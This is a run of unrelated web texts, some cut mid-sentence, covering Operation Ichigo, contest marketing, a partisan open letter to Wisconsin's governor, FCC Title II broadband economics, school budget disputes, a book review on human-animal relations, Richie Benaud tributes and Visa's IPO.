The Japanese included Kwantung Army units and equipment from Manchukuo, mechanized units, units from the North China theater and units from mainland Japan to participate in this campaign. It was the largest land campaign organized by the Japanese during the entire Second Sino-Japanese War. Many of the newest American-trained Chinese units and supplies were forcibly locked in the Burmese theater under Joseph Stilwell set by terms of the Lend-Lease Agreement.
Operation Ichigo, IJA invading Henan, 1944
In Operation Kogo, 390,000 Chinese soldiers, led by General Tang Enbo (湯恩伯), were deployed to defend the strategic position of Luoyang. The 3rd Tank Division of the IJA crossed the Yellow River around Zhengzhou in late April and defeated Chinese forces near Xuchang, then swung around clockwise and besieged Luoyang. Luoyang was defended by three Chinese divisions. The 3rd Tank Division began to attack Luoyang on May 13 and took it on May 25.
Japanese occupation (red) of eastern China near the end of the war, and Communist guerrilla bases (striped)
The second phase of Ichigo began in May, following the success of the first phase. Japanese forces advanced southward and occupied Changsha, Hengyang, Guilin and Liuzhou. In December 1944, Japanese forces reached French Indochina and achieved the purpose of the operation. Nevertheless, there were few practical gains from this offensive. US air forces moved inland from the threatened bases near the coast. The operation also forced British Commandos working with the Chinese as part of Mission 204 to leave China and return to Burma. The U.S. Fourteenth Air Force often disrupted the Hunan–Guangxi Railway between Hengyang and Liuzhou that had been established in Operation Ichigo. Japan continued to attack airfields where US air forces were stationed up to the spring of 1945.
The XX Bomber Command operating Strategic B-29 bombers of the Twentieth Air Force, which were attacking Japan in Operation Matterhorn, were forced to move as well, but although this affected their efficiency for a short time, in early 1945 the Twentieth Air Force moved to newly established bases in the Marianas under the command of the newly established XXI Bomber Command. This nullified the limited protection that the |
.
User Engagement
One really important aspect is to keep the hype going while the contest is running. I see a lot of contests start and then end without a peep during the whole time span – this is a huge mistake. Make sure you’re replying to blog comments, Facebook posts and Tweets about the contest. I’d recommend encouraging users to share the contest with their friends so it shows up in other people’s news feeds more often than not.
If the contest prize is something you can hold, make sure to take pictures and videos throughout which will encourage users sharing and commenting. We’ve even thrown in a second mini prize to go with the main one because enough people shared or reTweeted a certain blog post about the contest. The last time we experimented with this we got over 1200 FB shares and a few hundred tweets about it! This drove a whole bunch of new contestants and is forever in our trick bag.
Wrapping It All Up
Your last big user engagement comes in the last couple of days before the contest ends. It’s a great opportunity to hype things up and get people chatting. I also like to prepare a newsletter blast to announce the contest is coming to an end in a few days, and then once more to announce the winner. On that note, I’d also make a post to your new fans about signing up for your newsletter to get wind of your next contest which will be “coming out soon”. If you had an awesome prize/giveaway, then your chances for sign ups will be huge.
If your contest required user generated content in the form of a video or photo, then make sure you make full use of that. We’ve done all sorts of things like blog posts containing the top 5 strangest submissions, photo gallery posts and other means of blogging and content submission to the client’s Facebook page. If your contest was a hit, you more than likely have more content than you know what to do with.
That about does it. I think I’ve rambled on long enough and hopefully I’ve got you pumped to run your own contest soon. The success of your second and third contests will be out of this world if you do all of the above correctly and learn from the mistakes and things that didn’t work the first time. By the time you’re running that third contest you should have a hefty amount of social followers, and that will push your results to new levels each time.
Author Bio: By David Klein, Director of Orange Line – online marketing specialists based in Sydney, Australia. Visit us to inquire about our winning social media marketing services.× Expand Office of the Governor Scott Walker The most radical betrayal of the public trust lies in your education agenda.
Dear Gov. Walker,
Ever since the recall election, the media has worked to paint a curious portrait of you as some kind of "moderate," stressing always your someday-hopes of a bid at the presidency -- assuming all that John Doe stuff goes away. Just this week, USA Today even found a UW-La Crosse professor to say that you've "been moving toward the middle and sounding more conciliatory."
On the eve of your budget address, I'm writing to say we can see right through these phony new clothes. It doesn't take X-ray vision to see that the changes you're proposing in your second biennial budget are even more radical than the union-busting, protest-warranting, recall-inducing, school-defunding, health care-gutting, job-crushing measures of 2011. You're just getting better at disguising them.
In 2011, you pledged to create 250,000 jobs. That year, we lost more jobs than any other state in the country. Now in 2013, Wisconsin ranks 42nd in job creation.
In 2011, you cut $500 million from the health care budget and rejected $9 million in federal health care funds. Last week, you stated your intention to reject an additional $4 billion in federal Medicaid funds that would insure 175,000 struggling Wisconsinites through the BadgerCare Plus program you already decimated. In a PowerPoint you presented to your friends, you revived the lie that not providing access to affordable health care will allow struggling families to gain "self-reliance" and be "independent." And you added insult to injury by claiming (impossibly) that this move will save the state money and that these people will be able to get insurance for $19 a month. You said you do all this because you "care" so much.
In 2011, you proposed cutting funding to Planned Parenthood by nearly $2 million and set the wheels in motion to ensure they aren't eligible for funding because they provide abortion services. Last month, you marked the anniversary of Roe v. Wade by declaring January 22 to be "Protect Life Day." And yesterday Planned Parenthood announced they're closing four locations in rural Wisconsin, meaning thousands of Wisconsinites will have to travel hundreds of miles to receive abortion-preventing and reproductive care they rely on.
But the most radical betrayal of the public trust lies in your education agenda.
In 2011, you stripped $1.6 billion from the education budget and set the stage for massive expansion of voucher programs, which benefit fewer than 25,000 Wisconsin children. In 2013, you're doubling down on your investment in defunding public education. The Wisconsin Association of School Boards provides the details (PDF) of your plan: "Private voucher schools would see their state payments raised by 10 percent -- more than $600 per pupil at the elementary level and by over $1,400 per pupil at the high school level under the governor's proposal. Public schools, on the other hand, would be allowed no increase in their revenue limits. So while the governor is proposing a 1 percent increase ($129 million) in state aids for public schools, not a penny of that increase would go to children."
You call this "moving toward funding parity," a perversely accurate description for a system that pretends public funds should equally "invest" in public and private schools. This commodifies our children and ensures that a very few profit at the expense of the many.
This move calcifies the damage done in your first biennial budget by forcing an implementation plan that consolidates massive power at the state level, strips local districts of autonomy, and leaves struggling schools to fend for themselves. While $54 million of the new money is earmarked as handouts to the schools that do well on the new "report cards," a measly $10 million is set aside for competitive grants for struggling schools. (You call them "failing schools," but we all know these are the ones with the highest percentages of low-income and minority students.) These schools will be forced to fight for the crumbs, much of which will likely go to the "independent consultants" hired to assess the "winners." After all your talk, your plan to help the schools that most need it boils down to this: "Come up with your own plan."
Your proposal also pours more money into charter schools (which study after study shows to perform worse than regular public schools) and the controversial special needs vouchers. In an attempt to silence critics this time around, you're trying to sneak the special needs vouchers into your budget, just like you tried to immobilize public unions in the 2011 budget.
This isn't about "reform" or "rewarding" well-performing schools. It's about defunding public schools at the expense of our children while private interests reap the profits.
Within hours of your announcement of your plan, everyone who knows anything about public education had shouted out in warning: Wisconsin Superintendent of Public Instruction Tony Evers (PDF). The Wisconsin Association of School Boards. The Wisconsin Education Association Council and the Wisconsin Alliance for Public Schools. The School Administrators Alliance. Opportunity to Learn-Wisconsin. Community leaders. Parents. Students
The message is clear: This plan is disastrous for our kids. The agenda you're putting on the table this year is every bit as radical as the one you proposed in 2011, and doubly dangerous to the citizens of this state.
Now that all of your campaign contributors are seeing a return on their investments, you may be banking on a cloak of invincibility to get you through the next two years and on to bigger and better things. But no matter how the media fawns over your dismal record, we see right through you. Let's hope the Legislature wakes up and sees through your plans, too, before it's too late.
Heather DuBois Bourenane is a Sun Prairie resident. She publishes Monologues of Dissent. "Citizen" is an opinion series that presents the views of the author. If you would like to reply, please comment or consider submitting an op-ed in response.In this episode of the Pickaxe Podcast, I introduce a new model for the podcast going forward. My aim is to produce two-to-three podcasts per week. One will be a 1-on-1 interview with a special guest which will be similar to what I've done so far throughout the summer. The other will be a short, monologue type podcast where I give thoughts on a couple of topics. There will also be an occassional round table with two or three guests.
This episode is a monologue. I discuss the Nuggets front court rotation and the issues that they faced against Portland and Oklahoma City. I also discussed some of the team's strengths and ask coach Michael Malone where Darrell Arthur fits into the crowded front court rotation.
***Stiffs Night Out***
We will be hosting SNO on opening night (October 26) at our home sports bar, Jake's Sports & Spirits in Denver's vibrant RiNo neighborhood at 3800 Walnut Street, Denver CO. Located conveniently across the street from the new 38th and Blake Commuter Rail Station and just five minutes (by car) from Coors Field. Jake's will extend happy hour for all Stiffs attendees.
The event is free to attend and all ages are welcome. It's a great way to meet fellow Nuggets fans and Stiffs readers in a fun and friendly environment. We look forward to seeing you there!Investors understandably have focused first on whether or not the FCC will upend the broadband Internet sector by deeming broadband a Title II common carrier service for the first time, and second whether or not the FCC actually has the legal/constitutional authority to do so.
However, as a result of that political and legal focus, what has been almost completely ignored is the potential multi-billion dollar impact of such an FCC decision, that by definition, would make all currently unregulated and un-metered Internet traffic bits, regulated and metered “telecommunications” tele-bits for the first time.
Simply, deeming broadband Title II legally could compel bit metering and bit payments in the U.S. for the first time.
That’s because of the way the law and the forbearance provision are written; they apparently do not allow for any immaculate ruling where the FCC somehow rules the service and carrier of Internet traffic are regulated, but not the Internet traffic itself that is precisely what defines the service and carrier.
Legally and logically, one cannot happen without the other.
To employ an apt metaphor here, a Title II broadband steamroller is no discriminating surgical scalpel.
Thus, the potential financial liability of deeming broadband Title II could be on the order of tens of billions of dollars a year on major asymmetric Internet traffic originators like Google-YouTube, but also others like Netflix, Amazon, etc. That is because:
Broadband (Internet traffic) is currently an unregulated information service.
Title II broadband would legally and logically transform unregulated information services traffic into regulated “telecommunications” traffic with cost-based metered pricing by law (See sections 251(b)(5) & 252(d)(2)(A))
FCC’s regulatory forbearance authority apparently does not apply to metered “telecommunications.”
Many Internet content and apps providers originate much more traffic than they terminate.
Unregulated peering is largely free.
The operative “telecommunications” metered rate is $.0007 per minute or translated to bits per seconds: 18 cents per gigabit per second or $182 per terabit per second. (See the methodology for all these calculations at the end of this post.)
Thus the potential financial liability for every one terabit per second of internet traffic asymmetry would be $5.749b per year, (if the FCC did not devise a new cost-based telecom-Internet blended bit rate.)
This means, in particular, Google-YouTube — as the Internet’s largest narrowcaster who sends an estimated 40 times more traffic than they receive — would have a reciprocal compensation cost liability alone of between $5.7b to 16.4b per year, depending on Google’s overall ratio of originating traffic to terminating traffic.
In a nutshell, deeming broadband service to be a regulated telecommunications service by definition simultaneously deems internet traffic to be regulated metered “telecommunications.”
Thus the big unintended consequence of deeming broadband Title II is a de facto multi-billion “FCC bit-tax” on asymmetric Internet traffic.
The lesson here is perverse legal theories can lead to perverse financial implications.
The supreme irony here is that price regulation of Internet traffic (bits) for the first time would force immediate creation of a new inter-carrier compensation regime and universal service subsidy mechanism, that by current law would have to be cost-based. This ironically would force the interests the FCC seeks to protect, Internet content/apps/cloud computing interests, to pay potentially billions of dollars for what they currently get for free. (See below for the detailed explanation of why deeming broadband Title II would have these perverse financial consequences — by law.)
In sum, those advising the FCC that deeming broadband to be a regulated Title II service have not thought through the logical legal and financial implications of that decision.
Under the section 10 forbearance language of the statute, the FCC apparently doesn’t have the authority to use a de -regulatory provision to change a statutory definition of “telecommunications” in order to accomplish a re -regulatory purpose.
Those advising broadband Title II, risk the FCC profoundly changing the real economics of the Internet, seriously financially disadvantaging the Internet content and application providers they say they intend to protect, and effectively making the current economics of much ecommerce and cloud computing business models unworkable going forward.
Finally, the last time the FCC imagined that it had the facility and competence to replace the invisible hand of the market with the visible hand of the FCC, it was an unmitigated disaster, creating fiber backbone/CLEC bubbles/crashes, mass CLEC bankruptcies (WorldCom, Global Crossing, PSINet etc.), and the destruction of over trillion dollars in investor and pensioner wealth.
(See my 2002 Congressional testimony before the House Financial Services Subcommittee recounting and explaining that financial and business disaster, if you want the gory details.)
*****
Supporting Analysis:
What is the legal and financial analysis behind this conclusion?
Most everyone has overlooked the multi-billion dollar impact of deeming broadband Title II because they were looking only through the net neutrality myopic lens of getting around the D.C Circuit Comcast decision to empower the FCC with police powers over the American Internet.
If one steps back and looks for the logical repercussions and legal ramifications of such a ruling, this analysis, and conclusion, becomes more clear.
First, those that know their communications law understand that “telecommunications,” has its own definition separate and distinct from “telecommunications service” and “telecommunications carrier.”
Second, the FCC’s section 10 forbearance authority expressly applies only to a “telecommunications carrier” or a “telecommunications service,” not to “telecommunications” itself. In other words, given the D.C. Circuit Comcast decision, it is doubtful that the FCC has the express authority to forbear from, or effectively ignore, the clear implications of an explicit definition in the law.
(As an aside, it is obvious in the way the de-regulatory 1996 Telecom Act forbearance authority was written, that Congress never anticipated the bizarre potentiality where a future FCC would try to reverse engineer the de-regulatory forbearance authority in the Telecom Act to enable and clean up behind FCC re-regulation contrary to Congress’ express intent.)
Third, this is highly problematic for the FCC because of the provisions that govern financial compensation for “telecommunications.”
Title II Section 251(b)(5) “Interconnection… Reciprocal Compensation,” mandates that the newly Title II broadband provider would have: “the duty to establish reciprocal compensation arrangements for the transport and termination of telecommunications.”
Title II Section 252(d)(2)(A) “Pricing Standards… Charges for Transport and Termination of Traffic…” “For the purposes of compliance by an incumbent local exchange carrier with section 251(b)(5) [above], a state commission shall not consider the terms and conditions for reciprocal compensation to be just and reasonable unless– Such terms and conditions provide for the mutual and reciprocal recovery by each carrier of costs associated with the transport and termination on each carriers network facilities of calls that originate on the network facilities of the other carrier; and such terms and conditions determine such costs on the basis of a reasonable approximation of the additional cost of terminating such calls.”
Perversely, these provisions could compel a broadband provider to end unregulated and un-metered Internet peering arrangements and negotiate telecommunications interconnection financial agreements under state public utility commission auspices. This could ensnare all major Internet carriers of Internet traffic like: Level III, Google, Amazon, Skype, Akamai, Limelight, Facebook, and many others.
Fourth, this is highly problematic because it would make resolution of the alreadly mind-bogglingly complex inter-carrier regime for telecommunications (that the FCC hopes to reform and put into better balance over a long ten-year glide-path), dramatically more complex and urgent.
(It would also have huge implications for rural carriers who could better build out broadband to all Americans much faster, if they were compensated for terminating Internet traffic.)
Fifth, this is highly problematic in that it could legally compel that U.S backbone carriers, which are among the largest in the world, to start charging or paying foreign companies and foreign countries for any net overage of Internet traffic rather than the current best efforts and generally free Internet peering arrangements.
Thus this change in U.S. policy could cascade across the world requiring other countries to meter bits so they did not assume huge new financial liabilities for themselves.
In this cash-strapped economic environment, many would jump on any pretext to generate new revenues.
The unintended consequence of “opening” the door to bit-metering could be to seriously balkanize the Internet by putting it under the rate-regulation thumb of foreign regulators and the ITU.
Sixth, it is highly problematic because of the enormous potential financial liabilities that classifying broadband as Title II could create.
Since Internet traffic has never been classified as a Title II telecommunications, because it was classified as an unregulated enhanced/information service, internet traffic developed massively differently and more asymmetrically than more symmetric “telecommunications” traffic.
What is the methodology for the financial impact on Google for example?
Lets look at the potential implications of this for Google because, as the world-leading video webcaster, Google is estimated to send (narrowcast video) roughly 40 times more bits than it receives in email bits requesting the videos.
Thus, moving to Title II could create $5.7-16.4b worth of annual reciprocal compensation payment liabilities going forward for handling Google’s potentially newly defined “telecommunications” traffic.
The math behind the Google liability estimate of $5.7-16.4b per year:Great short piece by Michael Huemer, my favorite philosopher. Reprinted with his permission.
What’s
killing us? I made the following graph. I include the top ten causes of
death in the U.S., plus homicide and illegal drug overdoses, because
the latter two are actually discussed in political discourse.
Observations:
1. The top causes of death almost never appear in political discourse
or discussions of social problems. They’re almost all diseases, and
there is almost no debate about what should be done about them. This is
despite that they are killing vastly more people than even the most
destructive of the social problems that we do talk about. (Illegal drugs
account for 0.7% of the death rate; murder, about 0.6%.)
2. This
is not because there is nothing to be done about the leading causes of
death. Changes in diet, exercise, and other lifestyle changes can make
very large differences to your risk of heart disease, cancer, and other
major diseases, and this is well-known.
3. It’s also not because
it’s uncontroversial what we should do about them, or because everybody
already knows. The government could, for example, try to discourage
tobacco smoking, alcohol use, and overeating, and encourage exercise.
There are many ways this could be attempted. Perhaps the government
could spend more money on trying to cure the leading diseases. There
obviously are policies that could attempt to address these problems, and
it would certainly not be uncontroversial which ones, if any, should be
adopted. Those who support social engineering by the government might
be expected to be campaigning for the government to address the things
that are killing most of us.
4. Most of these leading killers are
themselves mainly caused by old age. If “Old Age” were a category, it
would be causing by far the majority of deaths. Again, it’s not the case
that nothing could be done about this. We could be doing much more
medical research on aging.
5. It’s also not that we just don’t
care about diseases. *Some* diseases are treated as political issues,
such that there are activists campaigning for more attention and more
money to cure them. There are AIDS activists, but there aren’t any
nephritis activists. There are breast cancer walks, but there aren’t any
colon cancer walks.
6. Hypothesis: We don’t much care about the
good of society. Refinement: Love of the social good is not the main
motivation for (i) political action, and (ii) political discourse. We
don’t talk about what’s good for society because we want to help our
fellow humans. We talk about society because we want to align ourselves
with a chosen group, to signal that alignment to others, and to tell a
story about who we are. There are AIDS activists because there are
people who want to express sympathy for gays, to align themselves
against conservatives, and thereby to express “who they are”. There are
no nephritis activists, because there’s no salient group you align
yourself with (kidney disease sufferers?) by advocating for nephritis
research, there’s no group you thereby align yourself *against*, and you
don’t tell any story about what kind of person you are.
In
conclusion, this sucks. Because we actually have real problems that
require attention. If we won’t pay attention to a problem just because
it kills a million people, but we need it also to invoke some
ideological feeling of righteousness, then the biggest problems will
continue to kill us. And by the way, the smaller problems that we
actually pay attention to probably won’t be solved either, because all
our ‘solutions’ will be designed to flatter us and express our
ideologies, rather than to actually solve the problems.TRIPOLI - Libyan ex-fighters furious over a decision to halt a cash rewards scheme opened fire on Tuesday against the headquarters of the interim government, but no injuries were reported, sources said.
"The headquarters of the council of ministers was attacked by armed groups who fired their weapons," read a statement issued by the office of the prime minister, making no mention of casualties.
The gunmen were "protesting the decision of the National Transitional Council to stop financial grants allocated to the revolutionaries," who waged war against the regime of slain leader Moamer Gathafi last year.
A source close to the prime minister said no one was hurt in the attack.
"The attack was short -- just a scare tactic," the source said.
The interim government slammed the incident as an assault against "the sovereignty and prestige of the state" and rejected the "language of threats and blackmail."
The ruling National Transitional Council announced on Monday a pause in the payment of bonuses to former rebels due to the widespread phenomenon of fraud which has cost millions of Libyan dinars.
The Tuesday statement reiterated that the freeze would remain in place until a probe into the matter was completed.
Militiamen angered by non-payment have recently held small protests in front of the headquarters of the interim authorities in Tripoli and raised checkpoints blocking traffic in some neighbourhoods of the capital.
In the eastern city of Benghazi, also on Tuesday, a convoy carrying the United Nations' envoy to Libya was attacked but no one was injured.
Acts of violence including the desecration of Christian and Sufi graves have fuelled fears that extremist elements are gaining momentum in post-Gathafi Libya.
Analysts and rights group have repeatedly warned that the interim government must disarm militias who pose one of the biggest challenges to the north African nation's transition to democracy.Clean sweep
California may use 50 percent renewable electricity by 2020, a decade ahead of schedule.
While Trump tries to push the United States back toward fossil fuels, California, the seventh largest economy in the world, is embracing clean energy with better economic results.
More than a quarter of California’s electricity already comes from renewables, according to a report from the state’s Public Utilities Commission. That’s particularly impressive because California doesn’t count large hydropower dams or nuclear power in its definition of “renewable.” Add those, and the state is currently running on 45 percent clean energy.
The state’s three biggest investor-owned utilities are forecast to reach the 50 percent renewable goal in just three years.
So how did California do it? After the state told utilities they had to get more electricity from renewables — beginning in 2002 and ratcheting up with new laws in 2006, 2011, and 2015 — it triggered a building spree of wind and solar plants.
Perhaps the only downside from the report is that, because the big utilities are on track to meet their goals, they’ve stopped investing as much in renewables. But it looks like California is getting ready to set higher goals again.August 30, 2010 -- Michael Lebowitz is a Canadian Marxist economist. He is the director of the “Transformative practice and human development” program at the Venezuela-based left-wing think tank, the Centro Internacional Miranda. He is professor emeritus of economics at Simon Fraser University and author of Build it Now: 21st Century Socialism and the 2004 Isaac Deutscher-prize winning Beyond Capital: Marx's Political Economy of the Working Class. His latest book is The Socialist Alternative: Real Human Development.
The Dangerous Minds blog spoke with Lebowitz about his latest book and the ideas it contains. The discussion also touches on Venezuela's attempts to build grassroots democracy through the communal councils and communes, on whether Sweden is socialist and on the healthcare systems in the United States and Canada.
Click HERE for more articles at Links International Journal of Socialist Renewal by or about Michael Lebowitz.The mudslinging over who is responsible for the Clark County School District’s estimated $60 million budget deficit shifted to Superintendent Pat Skorkowsky this week, furthering a blame game that shows no end in sight and prompting him to respond.
The latest finger-pointing began Tuesday when the union that represents school administrators and professional-technical employees issued a four-page letter blasting Skorkowsky for his handling of the district’s budget and treatment of employees.
Skorkowsky sent an email apology laced with clarifications to colleagues — including school trustees, state Superintendent Steve Canavero and state Senate Minority Leader Michael Roberson — on Wednesday evening, noting that he was “disheartened and shocked” to see unions trying to “capitalize on our budget shortfall for political gain.”
The union letter — written by Stephen Augspurger, executive director of the Clark County Association of School Administrators and Professional-Technical Employees (CCASAPE) — alleges that deficit-spending was already occurring in April and May when the trustees approved tentative and final budgets.
The district didn’t announce its deficit until early July and has blamed it primarily on lower-than-expected state revenue and costs associated with an arbitration victory for CCASAPE that created additional expenses for the district in terms of retroactive pay increases and higher salaries going forward.
Trustees approved a roughly $43 million chop to this year’s fiscal budget last month, but the district has said nearly $80 million in cuts may be necessary to shore up the estimated $60 million shortfall.
“While unanticipated expenses occurred after the approval of these two budgets, these events should have been anticipated and contingency plans put into place,” Augspurger wrote. “This did not occur, and it is likely that the current deficit stems from a long period of mismanagement and misappropriation by the Superintendent, far greater than the unanticipated expenses identified in the initial $34.5 million deficit reported by the Superintendent.”
The letter went on to accuse Skorkowsky of damaging the district’s credibility, bullying some administrators and doing nothing to improve staff morale, among other things. It also calls on the trustees — the elected body charged with directing the superintendent and ensuring student success — to hold Skorkowsky accountable.
“The circumstances are such that if decisive action is not quickly taken by the Trustees, then state intervention will be inevitable,” Augspurger wrote.
During a school board work session Wednesday, Trustee Chris Garvey suggested making the letter a discussion item at a future meeting. The idea wasn’t met with support from some other board members, including Trustee Linda Young, who worried it might create a slippery slope and force the board into discussing every public letter it receives.
Instead, the board opted to submit questions in writing to Skorkowsky as an initial step. The superintendent told trustees he was crafting a response letter, which would be emailed to them first.
The promised email — 1,193 words in length — arrived Wednesday evening.
It began: “I would like to take a moment to clarify a few items that have been discussed in the public arena lately — and issue you an apology.”
Skorkowsky proceeded to clarify that the district does not plan to include teachers in its reduction in force and hopes to minimize eliminations of support staff and administrators as well. He also pointed out that the district is surveying the community for input on potential budget reductions and is undergoing its yearly independent audit.
As for the budget shortfall, the superintendent reiterated that it’s related to a combination of rising costs, unfunded mandates and a state funding formula that hasn’t increased enough to keep pace with expenses.
“I take responsibility for not seeing the confluence of events and the severity of this crisis until July 2017,” he wrote in the email. “I apologize to you and to our community for that. However, even if we had known about this series of events earlier, we still would have had to reduce costs in the 2017-2018 budget.”
Skorkowsky ended his note calling on the unions to work with him and the trustees to solve this financial crisis and prevent it from happening again, adding that he’s “losing sleep” over the situation and worried about how it will affect employees and students.
The board is expected to discuss the budget and additional cuts at its next meeting, Sept. 14. The district has been sending robocalls to community members, encouraging them to participate in the survey about budget cuts.Why Do We Love Some Animals But Eat Others?
Enlarge this image Charla Anne/Getty Images Charla Anne/Getty Images
Attitudes toward animals are a delicate and complicated matter.
We can group animals into vertebrates and invertebrates, into the wild and the domestic — or into those we keep as pets, those we eat and those we regard with disgust as vermin.
It's OK to love them — but only so much.
And there's the question of what types of animals you can love. You're allowed to love a dog or a cat. But can you, should you, is it appropriate, to love other kinds of animals? My brother had a hermit crab when he was a boy. I don't know how he felt about it — but can a healthy, well-rounded person love a hermit crab?
I'm not passing judgment. It strikes me that the shifting, unstable, historical, emotional, playful and earnest feelings we Americans have about animals has a lot to do with other kinds of value, meaning and quality in our lives.
And, so, it is with a real sense of curiosity that I wonder about our varying relationships with animals. Why, for example, it is that we do not even notice road kill, for the most part — let alone stop to mourn it? And what can be said about the fact that the sale of bull semen is a big part of the cattle industry — and the methods used to create supply?
You can get the salacious details in Jane C. Desmond's fascinating new book Displaying Death and Animating Life: Human-Animal Relations in Art, Science, and Everyday Life. This is a scholarly work devoted to looking at the variety and tensions surrounding human-animal relations in, as the subtitle puts it, art, science and everyday life. Her focus, in this gripping book, is our contemporary American society (to the extent that there is any such a unified thing).
She investigates, for example, our pet burial practices and the ways in which these are similar to but also so very different from those surrounding human burial. Perhaps precisely because there is, or continues to be, as it happens, something marginal, ridiculous or even outrageous about the very idea of a pet cemetery, these have become, she shows, places for creative and improvisatory engagement with death and mourning. Only a very small fraction of the millions and millions of American pet owners bury their deceased pets in designated pet graveyards. She makes a good case, though, that such burial practices — she also explores the writing of pet obituaries — help us understand shifting conceptions of family and kinship.
Of particular interest to this reader is Desmond's level-headed treatment of the phenomenon of "art" by animals. Desmond is careful to tease out the many different sorts of factors lurking behind what is no doubt a growing market. She recounts the sale of three paintings — by an ape — that fetched $30,000 at a London auction house in 2005.
Students of animal cognition and human evolution, as well as those interested in raising funds for zoos and other animal-oriented philanthropies, all have a vested interest in the production and study of so-called animal art.
But do animals really make art?
Art, as we know it in the human world, happens against the background of shared culture. We use the term"outsider" art to refer to paintings, buildings, quilts, etc., by people lacking the usual training and career formation of professional artists. But the idea of art that is truly outside culture — as an animal art would have to be — is a nonstarter. It would be like imagining that animals in nature might make touchdowns. You need football — a whole practice — to get touchdowns.
Unless of course, as Desmond considers, there are animals that are not, or not entirely, outside culture because, as in the case of some chimpanzees and other nonhuman primates, they have been raised with humans and so are, in a genuine sense, at home in a bi-species environment.
Desmond notes the political meanings that may be attached to the question of animal art. If an ape is, or even might be, an artist, she considers, this could be taken to have a bearing on what sort of political obligations we have to them. When people purchase a painting by a chimpanzee to put on their wall, they may be motivated, as Desmond puts it, by the ideal (or perhaps the fantasy) of subverting the presumed primacy of the human.
She may be right about this. But I would hope that we don't make the mistake of holding the moral standing of nonhuman lives hostage to their status as would-be artists and writers. For their sake, I mean.
This is an important and moving book. Reading it is a bit like catching an unexpected glimpse of yourself in a reflection and being worried about what you see. How is it that we remain, as a culture, so largely unreflective about animals and their place in our lives?
Alva Noë is a philosopher at the University of California, Berkeley where he writes and teaches about perception, consciousness and art. He is the author of several books, including his latest, Strange Tools: Art and Human Nature (Farrar, Straus and Giroux, 2015). You can keep up with more of what Alva is thinking on Facebook and on Twitter: @alvanoeIn interviews we conducted with working-class young adults, my wife and I were surprised by the strength of their desires to have a long-lasting marriage and stable family life. But many of them were far from realizing those aspirations. Why? The wide-ranging challenges that frustrate their aspirations, which we must understand in order to find effective solutions, fall into four rough categories: family-of-origin, philosophical, psychological, and financial.
Family-of-origin challenges
Family turmoil. Almost 60 percent of the 75 working-class young adults we interviewed experienced the fragmentation of their family before the age of 18. Many of them said the event caused some lasting difficulty in their lives. But it wasn’t just children from divorced or single-parent families that suffered. Children from intact families in which the parents seriously fought, or one parent cheated, also experienced suffering. For instance, Kayla describes the time her father told her that he was cheating on her mother and that he planned to divorce her. He changed his mind and stayed in the marriage, but for her, that’s when life took a turn for the rough. She describes how it was after that experience that she just “rebelled harder.” “I mean, I was doing things I shouldn’t have been doing,” she says. “I was drinking, doing drugs, and I got tattoos illegally.”
Crisis of trust. For many, an enduring legacy of a fragmented or unstable family is a crisis of trust. For example, Christopher told us that because he didn’t experience love in his own family of origin, he didn’t trust that his wife would always love him.
“I didn’t believe in love,” he said. “I can remember possibly even having conversations with [my wife] like that, like what is love? You love me today, but you’re not gonna love me tomorrow, you know. You love me now, but when you get mad and, you know, in a hour, are you gonna love me still?”
“I’ll always love you,” his wife would tell him. But he struggled to believe it, and he struggled to let his wife love him. “There was love there,” he now realizes. “I just always denied it, because of fear.” He describes “not knowing how to love and not even knowing if I really wanted to, because I was afraid when I loved something it would hurt me.”
For many, an enduring legacy of a fragmented or unstable family is a crisis of trust.
The fear of loving and then losing, of trusting and then being betrayed—this is perhaps the most tragic legacy of family fragmentation, as Judith Waller |
peace," he tweeted.
Best in the business: Channel Nine Channel Nine chief executive David Gyngell said's passing had "robbed us not only of a national treasure, but a lovely man". " earned the profound and lasting respect of everyone across the world of cricket and beyond - first as an outstanding player and captain, then as an incomparable commentator, and through it all as a wonderful human being," he said on Friday. Nine's head of sport Steve Crawley said, 84, had been the "best in the business". "You 't have to know to love him. Everything about him. Best in the business bar none. We will miss him the way you miss loved ones. And at the same time we will thank our lucky stars he came our way at all," he said.
Letter that inspired fan A hand-written letter from Benaud to a young English leg-spinner almost 20 years ago has emerged as a touching example of the great cricketer's personal qualities and deep respect for his fans. For Jonathan Stevenson of Nottingham, Benaud's courtesy and gentlemanly conduct shone through in the letter, which he tweeted on Friday upon hearing of the cricketer's death. "Wrote to Richie Benaud when I was 16 about bowling leggies. His detailed reply says everything about the great man," Stevenson, who later worked for the BBC and is now a director at LiveWire Sport, said. Cricket great mourn 'godfather'
Former Australian Test captain Steve Waugh described the passing of the great Richie Benaud as "immense" while former Australian fast bowler Geoff Lawson said cricket had lost its "godfather". Doug Walters, the king of the SCG Hill from the 1960s to the '80s said he benefited from being exposed to a true gentleman's positive manner. Tributes flow in was beloved overseas, particularly in Britain where he had a commentary career spanning 50 years after he started as a police reporter in 1960. The Mirror said "Goodbye to the master of the microphone", while the BBC praised his "mellifluous, light delivery, enthusiastically imitated by comedians and cricket fans alike" and The Times remembered him as "the king of commentary".
Loading As news of's death spread, tweets poured in from across the world.
Fairfax MediaREAWAKENING? REAWAKENING? Visa plans to sell more than half of itself in IPO Picture this: Private equity firm buys Getty Images for $2B Electronic Arts offers nearly $2 billion for Take-Two BIGGEST U.S. IPOS BIGGEST U.S. IPOS Visa's IPO would be the USA's biggest, topping these. Issuer Issue date IPO proceeds* AT&T Wireless 4/26/2000 $10.6 Kraft Foods 6/12/2001 $8.7 UPS 11/9/1999 $5.5 CIT Group 7/1/2002 $4.9 Blackstone Group 6/21/2007 $4.8 Conoco 10/21/1998 $4.4 Travelers Property Casualty 3/21/2002 $4.3 Agere Systems 3/27/2001 $4.1 Charter Communications 11/8/1999 $3.7 Goldman Sachs 5/3/1999 $3.7 * in billions Source: Thomson Financial Visa is hoping investors will open their wallets and shell out more than $16 billion for what's expected to be the biggest U.S. IPO ever. More than three months after filing plans for an initial public offering, the leading credit card processor Monday provided the much-awaited price and number of shares it expects to sell in its IPO. Q&A: How does Visa make money; how does it rank among competitors? Specifically, Visa plans to sell 406 million shares, or a little more than half the company, for $37 to $42 a share. If Visa pulls it off, its IPO will top the $10.6 billion raised by AT&T Wireless (T) in April 2000, which had been the biggest U.S. IPO, says Thomson Financial. (TOC) Visa would also rank as the third-largest global IPO, behind the $22.0 billion IPO of Industrial and Commercial Bank of China in October 2006 and the $18.1 billion NTT Mobile raised in October 1998. "It's huge. A lot of people will be watching it to see if it gets done," says Joel Greenberg, partner at law firm Kaye Scholer. If things go as planned, shares of Visa should be trading by the week of March 19. The IPO is expected to garner attention because it is: •A much-needed boost for the ailing IPO market. So far this year, just 18 companies pulled off their IPOs, down 47% from the same period last year, 